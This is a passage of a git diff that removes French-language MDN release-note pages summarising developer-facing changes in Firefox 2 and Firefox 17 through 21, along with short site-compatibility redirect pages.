Changements pour les développeurs de Mozilla et de modules complémentaires

- -

Changements dans les interfaces

- -

{{interface("nsIPrivateDOMEvent")}} a été fusionné dans {{interface("nsIDOMEvent")}}. ({{bug("761613")}})

- -

Nouvelles interfaces

- -

Interfaces supprimées

- -

Les interfaces suivantes ont été supprimées.

- -

Voir également

- -

{{Firefox_for_developers('15')}}

diff --git a/files/fr/mozilla/firefox/versions/17/index.html b/files/fr/mozilla/firefox/versions/17/index.html deleted file mode 100644 index b8c77bfa66..0000000000 --- a/files/fr/mozilla/firefox/versions/17/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Firefox 17 pour les développeurs -slug: Mozilla/Firefox/Versions/17 -tags: - - Firefox - - Firefox 17 -translation_of: Mozilla/Firefox/Releases/17 ---- -
{{FirefoxSidebar}}
- -

Firefox 17, basé sur Gecko 17.0, est sorti le 20 novembre 2012. Cette page résume les principaux changements dans Firefox 17 qui sont utiles aux développeurs.

- -

Changements pour les développeurs Web

- -

HTML

- -
    -
  • Le support de l'attribut {{htmlattrxref("sandbox", "iframe")}} sur l'élément {{HTMLElement("iframe")}} a été ajouté. ({{bug(341604)}})
    • -
  • Le support de l'attribut inputmode sur l'élément {{HTMLElement("input")}} a été ajouté. (Note : actuellement, les valeurs de Gecko diffèrent de la spécification HTML de WHATWG.) ({{bug(746142)}})
    • -
- -

CSS

- -
    -
  • Le support de la règle {{cssxref("@supports")}} définie dans la spécification CSS3 Conditional Rules a été lancée. Les développeurs peuvent l'essayer en passant la préférence layout.css.supports-rule.enabled à true ({{bug(649740)}})
    • -
  • Le support de la pseudo-classe {{cssxref(":dir", ":dir()")}}, des sélecteurs CSS de niveau 4, permettant de sélectionner des éléments selon leur directionnalité a été lancée. ({{bug(562169)}})
    • -
  • Le support de la nouvelle valeur isolate-override de la propriété CSS {{cssxref("unicode-bidi")}} a été lancée. ({{bug(774335)}})
    • -
  • Notre implémentation de {{cssxref("box-sizing")}} préfixé prend désormais en compte {{cssxref("min-height")}} et {{cssxref("max-height")}}. Un pas de plus vers son dépréfixage. ({{bug(308801)}})
    • -
- -

DOM

- -
    -
  • Le support de l'interface {{domxref("CSSSupportsRule")}} définie dans la spécification CSS3 Conditional Rules a été lancée. ({{bug(649740)}})
    • -
  • Le support de l'objet {{domxref("WheelEvent")}} et de l'évènement wheel a été lancé. ({{bug(719320)}}).
    • -
  • Le support de la touche DOM Meta sur Linux est de nouveau disponible. ({{bug(751749)}}).
    • -
  • Sur {{domxref("HTMLMediaElement")}}, une nouvelle méthode a été ajoutée, mozGetMetadata. Elle retourne un objet JavaScript dont les propriétés représentent les métadonnées à partir de la ressource du média joué comme des paires {clé: valeur}. ({{bug(763010)}}).
    • -
- - -

JavaScript

- -
    -
  • L'objet String offre à présent les méthodes d'Harmony startsWith, endsWith et contains. ({{bug(772733)}})
    • -
  • Les méthodes de String link et anchor échappent désormais à " (guillemet). ({{bug("352437")}})
    • -
  • Le support expérimental pour l'objet ParallelArray a été implémenté. ({{bug(778559)}})
    • -
  • Support des itérateurs Map/Set. ({{bug(725909)}})
    • -
  • E4X est désactivé par défaut pour le contenu Web. ({{bug(778851)}})
    • -
  • __exposedProps__ doit désormais être défini pour les objets JavaScript Chrome exposés au contenu. Les tentatives d'accès à des objets de contenu sans Chrome __exposedProps__ échoueront ensembles silencieusement. ({{bug(553102)}})
    • -
- -

MathML

- -
    -
  • L'analyse de l'attribut align sur les éléments {{MathMLElement("mtable")}} a été mise à jour pour mieux traiter les espaces optionnels.
    • -
- -

XUL

- -
    -
  • L'élément XUL key supporte le modificateur "os" qui est la touche Win (Super ou Hyper touche). ({{bug(751749)}})
    • -
- -

Agent Utilisateur

- -

La partie de Gecko sur la chaine de l'agent utilisateur a changée. La date de compilation (qui n’avait pas été mise à jour depuis 2010) a été retirée, et c'est le numéro de version de Gecko qui a été mis en place. Donc Gecko/20100101 -> Gecko/17.0. Cela peut vous affecter si vous faites du reniflement.

- -

Changements pour les développeurs de Mozilla et de modules complémentaires

- -

Changements dans les interfaces

- -
-
{{interface("nsIInputStream")}}
-
La méthode available() retourne une longueur de 64-bit au lieu de 32-bit. ({{bug(215450)}})
-
{{interface("nsIDOMWindowUtils")}}
-
La méthode sendMouseScrollEvent() a été remplacée par sendWheelEvent(). ({{bug(719320)}})
-
{{interface("nsIFilePicker")}}
-
La méthode open(), pour ouvrir la boîte de dialogue d'un fichier de façon asynchrone, a été ajoutée et la méthode show() a été dépréciée. ({{bug("731307")}})
-
{{interface("nsIScriptSecurityManager")}}
-
Les méthodes checkLoadURIStr() et checkLoadURI() ont été retirées. ({{bug(327244)}})
-
{{interface("nsIRefreshURI")}}
-
La méthode setupRefreshURIFromHeader() a un paramètre principal en plus.
-
- -

Voir également

- -

{{Firefox_for_developers('16')}}

diff --git a/files/fr/mozilla/firefox/versions/17/site_compatibility/index.html b/files/fr/mozilla/firefox/versions/17/site_compatibility/index.html deleted file mode 100644 index 5f4d2359da..0000000000 --- a/files/fr/mozilla/firefox/versions/17/site_compatibility/index.html +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Compatibilité des sites avec Firefox 17 -slug: Mozilla/Firefox/Versions/17/Site_compatibility -tags: - - Compatibilité - - Développement Web - - Firefox - - Firefox 17 - - FxSiteCompat -translation_of: Mozilla/Firefox/Releases/17/Site_compatibility ---- -
{{FirefoxSidebar}}

Cette page a été déplacée vers FxSiteCompat.com.

diff --git a/files/fr/mozilla/firefox/versions/18/index.html b/files/fr/mozilla/firefox/versions/18/index.html deleted file mode 100644 index 7ed2e61e84..0000000000 --- a/files/fr/mozilla/firefox/versions/18/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: Firefox 18 pour les développeurs -slug: Mozilla/Firefox/Versions/18 -tags: - - Firefox - - Firefox 18 -translation_of: Mozilla/Firefox/Releases/18 ---- -
{{FirefoxSidebar}}

Firefox 18, basé sur Gecko 18.0, est sorti le 8 janvier 2013. Cette page résume les principaux changements dans Firefox 18 qui sont utiles aux développeurs.

- -

Changements pour les développeurs Web

- -

HTML

- -
    -
  • L'attribut {{htmlattrxref("reversed","ol")}} de l'élément {{HTMLElement("ol")}} est à présent supporté. ({{bug("601912")}})
    • -
  • L'attribut {{htmlattrxref("crossorigin","link")}} de l'élément {{HTMLElement("link")}} est à présent supporté. ({{bug("786564")}})
    • -
  • L'attribut {{htmlattrxref("allowfullscreen", "iframe")}} de {{HTMLElement("iframe")}} a été implémenté et son prédécesseur préfixé, {{htmlattrxref("mozallowfullscreen", "iframe")}}, est à présent obsolète.
    • -
- -

CSS

- -
    -
  • {{cssxref("min-width")}} et {{cssxref("min-height")}} utilisent désormais le mot-clé auto comme valeur initiale (Cela influe uniquement sur les éléments flexibles qui corrigeaient à 0, la précédente valeur initiale, pour les autres éléments). ({{bug("763689")}})
    • -
  • La cascade a été mise à jour : désormais l'auteur des règles !important prend le dessus sur les animations CSS. ({{bug("783714")}})
    • -
  • La propriété raccourcie {{cssxref("background")}} reconnait à présent la propriété CSS3 {{cssxref("background-size")}}. ({{bug("570326")}})
    • -
  • Le support initial du module CSS Flexbox a été lancé. Il est désactivé par défaut mais peut être activé en passant le paramètre layout.css.flexbox.enabled à true. ({{bug('666041')}})
    • -
- -

DOM

- -
    -
  • navigator.mozPay a été lancé. ({{bug("767818")}})
    • -
  • window.devicePixelRatio a été lancé. ({{bug("564815")}})
    • -
  • Le backend MacOS X pour window.navigator.battery a été implémenté. ({{bug("696045")}})
    • -
  • {{domxref("BlobBuilder", "MozBlobBuilder")}} a été retiré. Les développeurs doivent utiliser le constructeur {{domxref("Blob")}} pour créer un objet Blob. ({{bug("744907")}})
    • -
  • L'évènement {{event("visibilitychange")}} et l'API Page Visibility ont été dépréfixés. ({{bug("812086")}})
    • -
  • TextDecoder et TextEncoder ont été ajoutés. ({{bug("764234")}})
    • -
  • HTMLMediaElement.src a été séparée en deux propriétés : la propriété src standard, qui traite {{domxref("DOMString")}}, et la propriété préfixée mozSrcObject, qui traite les flux multimédia. ({{bug("792665")}})
    • -
  • Support des objets transférables.
    • -
- -

JavaScript

- -
    -
  • Les Direct Proxies d'Harmony (ECMAScript 6) ont été lancés. ({{bug("703537")}})
    • -
- -

Réseau

- -
    -
  • Les facteurs de qualité ("q-values") sont désormais fixés à 2 chiffres dans l'en-tête HTTP Accept-Language. ({{bug("672448")}})
    • -
  • La syntaxe ALLOW-FROM de l'en-tête HTTP X-FRAME-OPTIONS Response est à présent supportée. ({{bug("690168")}})
    • -
- -

Changements pour les développeurs de Mozilla et de modules complémentaires

- -

Changements dans les interfaces

- -
-
{{interface("nsIStreamListener")}}
-
Le 4ème paramètre (aOffset) de la méthode onDataAvailable() modifie unsigned long long. ({{bug("784912")}})
-
{{interface("nsIUploadChannel")}}
-
setUploadStream() supporte plus de 2 Go de content-length. ({{bug("790617")}})
-
{{interface("nsIEditor")}}
-
addEditorObserver() a été supprimé, utilisez setEditorObserver() à la place, removeEditorObserver() ne prend plus le paramètre {{interface("nsIEditorObserver")}}. ({{bug("785091")}})
-
{{interface("nsIHttpProtocolHandler")}}
-
Il n'y a plus de garantie que les observateurs http-on-modify-request soit appelés de manière synchrone au cours de nsIChannel.asyncOpen(). Pour les observateurs qui ont besoin d'être appelés pendant asyncOpen(), le nouvel observateur http-on-opening-request a été ajouté. {{bug("800799")}}
-
{{interface("nsIProtocolProxyService")}}
-
La méthode resolve a été retirée. Maintenant, seule la méthode asyncResolve peut être utilisée. Voir ({{bug("769764")}}).
-
- -

Interfaces supprimées

- -

Les interfaces suivantes ont été supprimées.

- -
    -
  • {{interface("nsIEditorObserver")}}
    • -
- -

Voir également

- - - -

Anciennes versions

- -

{{Firefox_for_developers('17')}}

diff --git a/files/fr/mozilla/firefox/versions/18/site_compatibility/index.html b/files/fr/mozilla/firefox/versions/18/site_compatibility/index.html deleted file mode 100644 index 40090de357..0000000000 --- a/files/fr/mozilla/firefox/versions/18/site_compatibility/index.html +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Compatibilité des sites avec Firefox 18 -slug: Mozilla/Firefox/Versions/18/Site_compatibility -tags: - - Compatibilité - - Développement Web - - Firefox - - Firefox 18 - - FxSiteCompat -translation_of: Mozilla/Firefox/Releases/18/Site_compatibility ---- -
{{FirefoxSidebar}}

Cette page a été déplacée vers FxSiteCompat.com.

diff --git a/files/fr/mozilla/firefox/versions/19/index.html b/files/fr/mozilla/firefox/versions/19/index.html deleted file mode 100644 index 8ece44bb72..0000000000 --- a/files/fr/mozilla/firefox/versions/19/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Firefox 19 pour les développeurs -slug: Mozilla/Firefox/Versions/19 -tags: - - Firefox - - Firefox 19 -translation_of: Mozilla/Firefox/Releases/19 ---- -
{{FirefoxSidebar}}

{{ draft() }}

- -

Firefox 19, basé sur Gecko 19.0, est sorti le 19 février 2013. Cette page résume les principaux changements dans Firefox 19 qui sont utiles aux développeurs.

- -

Vous voulez aider à documenter Firefox 19 ? Regardez la liste des bugs qui ont besoin de rédaction et lancez-vous !

- -

Changements pour les développeurs web

- -

JavaScript

- -
    -
  • La méthode size()des objets Map et Set devient la propriété size ({{bug("807001")}})
    • -
  • Les objets Map et Set ont maintenant une méthode clear(). ({{bug("805003")}})
    • -
- -

CSS

- -
    -
  • Support des unités relatives au viewport {{cssxref("<length>")}}, vh, vw, vmin, et vmax. ({{bug("503720")}})
    • -
  • CSS Flexbox est maintenant non-préfixé, mais reste désactivé par défaut ({{bug("801098")}}).
    • -
  • La valeur -moz-initial n'est plus préfixée ({{bug("806068")}}). -moz-initial sera conservée pendant quelques temps en tant qu'alias, cependant les auteurs sont fortement encouragés à utiliser initial.
    • -
  • La propriété CSS {{cssxref("text-transform")}} supporte dorénavant le mot-clé full-width qui permet une intégration plus discrète des caractères latins dans les textes utilisant des caractères idéographiques à largeur fixe tel que le chinois ou le japonais ({{bug("774560")}}).
    • -
  • La propriété CSS {{cssxref("page-break-inside")}} a été implémentée ({{bug("685012")}}).
    • -
  • La fonction CSS {{cssxref("calc", "calc()")}} peut maintenant être utilisée avec <color-stop> (sur {{cssxref("<gradient>")}}).
    • -
  • La règle CSS {{ cssxref("@page") }} est maintenant supportée ({{bug("115199")}}). Notez que les pseudo-classes {{cssxref(":first")}}, {{cssxref(":right")}}, et {{cssxref(":left")}} ne le sont pas encore.
    • -
  • La pseudo-classe {{cssxref(":-moz-placeholder")}} est remplacée par le pseudo-élément {{cssxref("::-moz-placeholder")}} ({{bug("737786")}}).
    • -
- -

DOM

- -
    -
  • La méthode {{domxref("element.getElementsByTagName")}} retourne maintenant un HTMLCollection ({{bug("799464")}}).
    • -
  • La propriété mozLastModifiedDate de {{domxref("File")}} a été implémentée. ({{bug("793955")}})
    • -
  • La propriété lastModifiedDate de {{domxref("File")}} renvoie la date actuelle, si la date de la dernière modification est inconnue ({{bug("793459")}}).
    • -
  • La méthode isPointInStroke de {{domxref("CanvasRenderingContext2D")}} a été implémentée ({{bug("803124")}}).
    • -
  • La méthode toBlob de {{domxref("HTMLCanvasElement")}} a été implémentée ({{bug("648610")}}).
    • -
  • Les méthodes {{domxref("Node.isSupported")}} et {{domxref("document.implementation", "document.implementation.hasFeature()")}} ont été modifiées pour qu'elles renvoient toujours true ({{bug("801425")}}).
    • -
  • Lors de l'appel de document.createElement(null), null sera désormais "stringified" et fonctionne comme document.createElement("null").
    • -
- -

XForms

- -

Le support des XForms a été retiré dans Firefox 19.

- -

Changements pour les développeurs d'add-ons et les développeurs Mozilla

- -
-

Note:  nsresult est maintenant fortement typé, c'est un changement majeur dans Firefox 19. Cela permet de détecter plus facilement les bugs causés par la mauvaise gestion des valeurs retournées mais peut empêcher des codes actuels de fonctionner si nsresult fait de mauvaises suppositions concernant ces valeurs.

-
- -
    -
  • getBrowserSelection() retourne dorénavant le texte sélectionné dans un input de type text. Ainsi, gContextMenu.isTextSelected vaudra true quand l'utilisateur sélectionne du texte depuis un champ texte qui n'est pas de type password. ({{bug("565717")}})
    • -
  • Dict.jsm: Dict() accepte maintenant les String JSON. Dict.toJSON() a été ajouté et retourne un String JSON. ({{bug("727967")}})
    • -
- -

Changements dans les intefaces

- -
-
{{interface("nsIImgLoadingContent")}}
-
Le paramètre (aObserver) de la méthode addObserver() change de {{interface("imgIDecoderObserver")}} pour {{interface("imgINotificationObserver")}}. La méthode notify() de {{interface("imgINotificationObserver")}} n'est pas scriptable, vous devez donc utiliser createScriptedObserver() à partir de {{interface("imgITools")}}.
-
{{interface("nsIChannel")}}
-
La propriété contentLength a changée de long à int64_t
-
- -

A voir également

- - - -

Anciennes versions

- -

{{Firefox_for_developers('18')}}

diff --git a/files/fr/mozilla/firefox/versions/19/site_compatibility/index.html b/files/fr/mozilla/firefox/versions/19/site_compatibility/index.html deleted file mode 100644 index bf8fd61a81..0000000000 --- a/files/fr/mozilla/firefox/versions/19/site_compatibility/index.html +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Compatibilité des sites avec Firefox 19 -slug: Mozilla/Firefox/Versions/19/Site_compatibility -tags: - - Compatibilité - - Développement Web - - Firefox - - Firefox 19 - - FxSiteCompat -translation_of: Mozilla/Firefox/Releases/19/Site_compatibility ---- -
{{FirefoxSidebar}}

Cette page a été déplacée vers FxSiteCompat.com.

diff --git a/files/fr/mozilla/firefox/versions/2/index.html b/files/fr/mozilla/firefox/versions/2/index.html deleted file mode 100644 index c0027bed2d..0000000000 --- a/files/fr/mozilla/firefox/versions/2/index.html +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: Firefox 2 pour les développeurs -slug: Mozilla/Firefox/Versions/2 -tags: - - Firefox - - Firefox 2 -translation_of: Mozilla/Firefox/Releases/2 ---- -
{{FirefoxSidebar}}

''Une grande partie du contenu de cette page est juste là pour boucher les trous. Voyez la version anglaise de cette page pour savoir comment la compléter.''

- -

Nouvelles fonctionnalités pour les développeurs dans Firefox 2

- -

Firefox 2 propose un grand nombre de nouvelles fonctionnalités et de nouvelles possibilités. Cet article fournit des liens vers des articles couvrant les nouvelles fonctionnalités.

- -

Pour les développeurs Web et les développeurs d'applications

- -
-
Microrésumés
-
Les microrésumés sont de courtes compilations, régulièrement mises à jour, des plus importantes informations présentes sur des pages Web. Ils peuvent être fournis tant par les sites eux-mêmes que par des développeurs tiers. Lorsque les utilisateurs marquent des pages présentant des microrésumés, ils peuvent choisir d'afficher ceux-ci en lieu et place de titres statiques.
-
- -
-
Création d'un générateur de microrésumé
-
Un tutoriel sur la création d'un générateur de microrésumés.
-
- -
-
Référence grammaticale XML d'un microrésumé
-
Un guide de référence sur la grammaire XML utilisée pour la création de générateurs de microrésumés.
-
- -
-
Création de plugins MozSearch
-
Firefox 2 utilise MozSearch, un format de plugins de recherche basé sur OpenSearch.
-
- -
-
Création de plugins OpenSearch pour Firefox
-
Firefox 2 support le format de moteur de recherche OpenSearch.
-
- -
-
Gestion de suggestions dans les plugins de recherche
-
Comment permettre à votre plugin MozSearch de proposer des suggestions, qui apparaîtront dans une liste déroulante au fur et à mesure de la frappe dans la Barre de recherche.
-
- -
-
Nouveautés dans JavaScript 1.7
-
Firefox 2 fournit JavaScript 1.7, qui comprend de nouvelles fonctionnalités comme let, des assignations déstructurantes, des générateurs et itérateurs, et la définition de tableaux par compréhension.
-
- -
-
WHATWG Client-side session and persistent storage (ou DOM Storage)
-
Le stockage de session et le stockage persistant côté client permet aux applications Web de conserver des données structurées du côté du client.
-
- -
-
SVG dans Firefox
-
Firefox 2 améliore le support du SVG (Scalable Vector Graphics) en implémentant l'élément <textPath> et en ajoutant le support de quelques attributs non encore supportés.
-
- -
-
Contrôle du correcteur d'orthographe dans les formulaires HTML
-
Firefox 2 contient un correcteur d'orthographe des zones de texte et des champs de saisie. Cet article décrit comment écrire votre HTML pour activer et désactiver ce correcteur d'orthographe sur des éléments individuels de formulaires.
-
- -
-
La sécurité dans Firefox 2
-
Firefox 2 a modifié les protocoles de sécurité activés par défaut.
-
- -

Pour les développeurs XUL et les développeurs d'extensions

- -
-
Mise à jour des extensions pour Firefox 2
-
Comment migrer vos extensions existantes pour qu'elles fonctionnent avec Firefox 2.
-
- -
-
API de restauration de session
-
Ajout d'élément à enregistrer et à restaurer d'une session à l'autre dans Firefox.
-
- -
-
API d'accès au contenu de flux
-
API permettant aux développeurs d'accéder et de traiter des flux RSS et Atom.
-
- -
-
Support SAX
-
API de parcours XML basé sur les évènements.
-
- -
-
Ajout de moteurs de recherche depuis des pages Web
-
Un code JavaScript peut demander à Firefox d'installer un nouveau plugin de moteur de recherche, qui peut être fourni au format OpenSearch ou au format Sherlock.
-
- -
-
Utilisation du correcteur orthographique dans XUL
-
Explique comment vérifier l'orthographe de certains mots et comment obtenir une liste de suggestions de corrections depuis le code.
-
- -
-
Ajout de fournisseurs de données de protection anti-phishing
-
Il est possible d'améliorer la protection de Firefox contre le phishing (hameçonnage) en ajoutant des fournisseurs de données pour le système de navigation sécurisée.
-
- -
-
Storage
-
Firefox 2 propose mozStorage, une architecture de base de données basée sur sqlite.
-
- -
-
Changements dans les thèmes graphiques pour Firefox 2
-
Discussion autour des changements à apporter au thèmes graphiques existants pour qu'ils fonctionnent avec Firefox 2.
-
- -
-
Améliorations de Textbox (à partir de Firefox 2.0.0.1 uniquement)
-
L'élément <textbox> dispose à présent d'une méthode reset() pour réinitialiser la valeur de la boîte de texte à sa valeur par défaut. La propriété defaultValue peut être utilisée pour récupérer et modifier cette valeur par défaut ({{ Bug(312867) }}).
-
Support d'une propriété editor permettant d'obtenir l'interface interne nsIEditor pour le champ texte ({{ Bug(312867) }}).
-
- -

Nouvelles fonctionnalités pour les utilisateurs

- -

Firefox 2 offre une version améliorée de l'agréable interface utilisateur par rapport à ses versions précédentes, avec un niveau accru de sécurité pour rendre votre expérience de navigation encore plus sûre et plus pratique que jamais.

- -

Apparence et comportement

- -
    -
  • La vérification orthographique des zones de texte qui permet de remplir les formulaires Web en confiance.
    • -
  • Les microrésumés qui permettent de créer des marque-pages affichant des informations provenant du site auxquels ils sont liés, mises à jour automatiquement. Très utile pour suivre le cours d'une action, d'un enchère, etc.
    • -
  • L'interface utilisateur du gestionnaire d'extensions a été améliorée.
    • -
  • Les moteurs de recherche peuvent être réarrangés et supprimés dans la barre de recherche.
    • -
  • La navigation par onglets a été améliorée, avec l'ajout de boutons de fermeture pour chaque onglet, un meilleur choix de l'onglet à afficher après la fermeture du précédent et des options simplifiées.
    • -
  • La découverte automatique des moteurs de recherche permet aux moteurs de recherche fournissant des plugins pour la barre de recherche de Firefox de vous proposer l'installation directe de ceux-ci.
    • -
  • Les suggestions de recherche permettent aux moteurs de recherche de vous proposer des termes de recherche suivant ce que vous avez commencé à saisir dans la barre de recherche.
    • -
- -

Sécurité et vie privée

- -
    -
  • Fonctionnalité anti-phishing pour vous avertir lorsque vous consultez un site qui semble être une imitation frauduleuse.
    • -
- -

Voir aussi

- -

{{Firefox_for_developers('1')}}

diff --git a/files/fr/mozilla/firefox/versions/20/index.html b/files/fr/mozilla/firefox/versions/20/index.html deleted file mode 100644 index d9bf6ebdd7..0000000000 --- a/files/fr/mozilla/firefox/versions/20/index.html +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Firefox 20 pour les développeurs -slug: Mozilla/Firefox/Versions/20 -tags: - - Firefox - - Firefox 20 -translation_of: Mozilla/Firefox/Releases/20 ---- -
{{FirefoxSidebar}}

Firefox 20 est sorti le 2 avril 2013. Cette page résume les principaux changements dans Firefox 20 qui sont utiles aux développeurs.

- -

Changements pour les développeurs Web

- -

HTML

- -
    -
  • Le support de l'attribut {{htmlattrxref("download", "a")}} sur les éléments {{HTMLElement("a")}} et {{HTMLElement("area")}} a été ajouté ({{bug(676619)}}).
    • -
  • La valeur auto pour l'attribut global dir a été implémenté ({{bug("548206")}}).
    • -
- -

JavaScript

- -
    -
  • Le support de la méthode Weakmap.prototype.clear(), récemment ajoutée au brouillon d'Harmony (EcmaScript 6), a été ajouté ({{bug(814562)}}).
    • -
  • Le support de la méthode Math.imul(), une fonction de multiplication 32 bits de type C. Bien qu'elle soit proposée pour Harmony (EcmaScript 6), elle n'a pas encore été acceptée et reste non-standard ({{bug(808148)}}).
    • -
  • Les applications Web utilisant le déplacement de texte grâce à Kinetic 3.x fonctionnent, même en utilisant le backend Cairo Canvas. ({{bug("835064")}})
    • -
  • L'instruction for each...in a été dépréciée et ne doit plus être utilisée. Pensez à utiliser la nouvelle instruction for...of ({{bug("804834")}}).
    • -
- -

CSS

- -
    -
  • CSS Flexbox est désormais disponible par défaut, uniquement dans les versions préliminaires (hors Bêta). Elle peut être activée dans la version finale en modifiant une préférence dans about:config.
    • -
  • La propriété mask-type de la spécification CSS Masking a été ajoutée ({{bug(793617)}}).
    • -
- -

DOM

- -
    -
  • {{domxref("HTMLMediaElement")}} supporte désormais playbackRate (en lecture et écriture), avec correction de hauteur. La correction de hauteur peut être contrôlé à l'aide de la propriété mozPreservesPitch ({{bug(495040)}}).
    • -
  • CSSOM : Le support des nouvelles interfaces {{domxref("CSSGroupingRule")}} et {{domxref("CSSConditionRule")}} a été ajouté ({{bug(814907)}}).
    • -
  • CSSOM : Sur la constante {{domxref("CSSRule")}}, CSSRule.MOZ_KEYFRAME_RULE et CSSRule.MOZ_KEYFRAMES_RULE ont été dé-préfixés pour CSSRule.KEYFRAME_RULE et CSSRule.KEYFRAMES_RULE. La version préfixée est temporairement maintenue, pour aider les auteurs Web à la transition de leur code ({{bug(816431)}}).
    • -
  • CSSOM : Il est désormais possible de définir la valeur de conditionText pour {{domxref("CSSMediaRule")}} ({{bug(815021)}}).
    • -
  • Les méthodes parseFromStream et parseFromBuffer de {{domxref("DOMParser")}} ne sont plus disponibles à partir de contenu web ({{bug(816410)}}).
    • -
  • La méthode serializeToStream de XMLSerializer n'est plus disponible à partir de contenu web ({{bug(816410)}}).
    • -
  • Les interfaces TextDecoder et TextEncoder sont désormais disponibles dans Workers ({{bug(795542)}}).
    • -
  • Le support de la méthode CSS.supports()a été ajouté ({{bug(779917)}}).
    • -
  • Le support pour UndoManager a été ajouté ({{bug(617532)}}).
    • -
  • L'interface {{domxref("CaretPosition")}} a été implémentée dans la méthode CSSOM {{domxref("document.caretPositionFromPoint")}}.
    • -
- -

MathML

- -
    -
  • Pour aider les auteurs MathML dans le débogage des erreurs "invalid-markup" dans leurs documents, les erreurs d'analyse MathML (comme avoir trop / pas assez d'éléments enfants) et les avertissements au sujet des attributs obsolètes ou fausses valeurs d'attributs sont maintenant signalées à la console d'erreur
    • -
  • L'attribut scriptminsize accepte désormais des valeurs sans unité et les valeurs en pourcent. Elles sont interprétées comme des multiples de la valeur par défaut ("8pt").
    • -
  • Des valeurs sans unité sont désormais permis pour les attributs mathsize et fontsize, ils multiplient la valeur par défaut.
    • -
- -

Changements pour les add-ons et les développeurs Mozilla

- -
    -
  • L'interface nsIDOMParserJS n'existe plus ({{bug(816410)}}). Voir nsIDOMParser pour des alternatives.
    • -
  • Préférences de contenu : L'interface {{interface("nsIContentPrefService")}} est désormais obsolète et l'API asynchrone de stockage {{interface("nsIContentPrefService2")}} a été implémentée.
    • -
- -

Voir également

- - - -

Anciennes versions

- -

{{Firefox_for_developers('19')}}

diff --git a/files/fr/mozilla/firefox/versions/20/site_compatibility/index.html b/files/fr/mozilla/firefox/versions/20/site_compatibility/index.html deleted file mode 100644 index b126ee10ba..0000000000 --- a/files/fr/mozilla/firefox/versions/20/site_compatibility/index.html +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Compatibilité des sites avec Firefox 20 -slug: Mozilla/Firefox/Versions/20/Site_compatibility -tags: - - Compatibilité - - Développement Web - - Firefox - - Firefox 20 - - FxSiteCompat -translation_of: Mozilla/Firefox/Releases/20/Site_compatibility ---- -
{{FirefoxSidebar}}

Cette page a été déplacée vers FxSiteCompat.com.

diff --git a/files/fr/mozilla/firefox/versions/21/index.html b/files/fr/mozilla/firefox/versions/21/index.html deleted file mode 100644 index 5b31107b63..0000000000 --- a/files/fr/mozilla/firefox/versions/21/index.html +++ /dev/null @@ -1,141 +0,0 @@ ---- -title: Firefox 21 pour les développeurs -slug: Mozilla/Firefox/Versions/21 -tags: - - Firefox - - Firefox 21 -translation_of: Mozilla/Firefox/Releases/21 ---- -
{{FirefoxSidebar}}
- -

Firefox 21 est sorti le 14 mai 2013. Cette page résume les principaux changements dans Firefox 21 qui sont utiles aux développeurs, que vous soyez développeur web, développeur Firefox et Gecko, ou développeur d'add-ons.

- -

Changement pour les développeurs Web

- -

HTML

- -
    -
  • L'attribut {{htmlattrxref("scoped", "style")}} a été ajouté à l'élément {{HTMLElement("style")}}. Il permet d'inclure des styles qui sont isolés du reste du document. Ces styles peuvent être sélectionnés par le pseudo élément CSS {{cssxref(":scope")}} ajouté dans Firefox 20. ({{bug("508725")}}).
    • -
  • Le nouvel élément HTML {{HTMLElement("main")}} a été implémenté ({{bug("820508")}}).
    • -
- -

JavaScript

- -
    -
  • E4X, une ancienne extension JavaScript, a été retirée. Implementée seulement par Gecko, elle n'a jamais reçu suffisament de soutien ({{bug("788293")}}).
    • -
  • parseInt ne traite plus les chaînes de caractères commençant par "0" comme un octal ({{bug("786135")}}).
    • -
- -

CSS

- -
    -
  • La valeur none pour {{cssxref("user-select", "-moz-user-select")}} a maintenant le même comportement que la valeur -moz-none, alignant  Gecko sur WebKit (Chrome, Safari), Presto (Opera) et Trident (Internet Explorer) ({{bug("816298")}}).
    • -
  • Dans des contenus XHTML, la valeur auto de {{cssxref("hyphens", "-moz-hyphens")}} appliquait incorrectement des règles de césure quand le langage n'était pas explicitement défini. Cela a été corrigé par ({{bug("702121")}}).
    • -
  • Une valeur auto a été ajoutée pour la propriété CSS {{cssxref("-moz-orient")}}. La valeur auto est équivalente à horizontal quand appliquée à {{HTMLElement("meter")}} et {{HTMLElement("progress")}} ({{bug("835883")}}).
    • -
- -

DOM

- -
    -
  • La propriété origin a été ajoutée à {{domxref("window.location")}} ({{bug("828261")}}).
    • -
  • Les méthodes valueAsDate et valueAsNumber ont été ajoutées à <input type="time"> ({{bug("781570")}}).
    • -
  • Les attributs min et max sont maintenant aussi appliquées à <input type="time"> ({{bug("781572")}}).
    • -
  • De nouveaux keyCodes pour contrôler le volume sont supportées ({{bug("674739")}}).
    • -
  • De nouveaux keyCodes pour des anciennes disposition de touches de claviers tels que AS/400 sont maintenant supportées sur Windows et Linux ({{bug("833719")}}).
    • -
  • Différentes valeurs keyCode pour des touches OEM spécifiques sur Windows sont maintenant supportées ({{bug("833719")}}).
    • -
  • La fonction window.crypto.getRandomValues est maintenant implémentée ({{bug("440046")}}).
    • -
- -

SVG

- -
    -
  • La propriété {{cssxref("paint-order")}} a été implémentée ({{bug("828805")}}).
    • -
- -

Networking

- -
    -
  • Nous continuons à faire évoluer notre implémentation de CSP pour qu'elle corresponde à la spécification CSP 1.0, qui vient d'atteindre la statut de Candidate Recommendation : -
      -
    • Le support de l'entête HTTP Content-Security-Policy conformément à la spécification (en plus de l'entête expérimental X-Content-Security-Policy) a été ajouté ({{bug("783049")}}). Note : le patch pour ce nouvel entête est arrivé dans Firefox 21, mais il a été désactivé dans les compilations ({{bug("842657")}}).
      • -
    -
    • -
- -

Worker

- -
    -
  • Les fonctions {{domxref("window.URL.createObjectURL", "URL.createObjectURL")}} et {{domxref("window.URL.revokeObjectURL", "URL.revokeObjectURL")}} font maintenant partie des fonctions disponibles au workers.
    • -
- -

Changement pour les add-ons et les développeurs Mozilla

- -
    -
  • Les applications FUEL ne peuvent plus utiliser le service Livemarks ({{bug("834492")}}). Le service Livemarks est déprécié et mis en retrait en faveur de l'interface async.
    • -
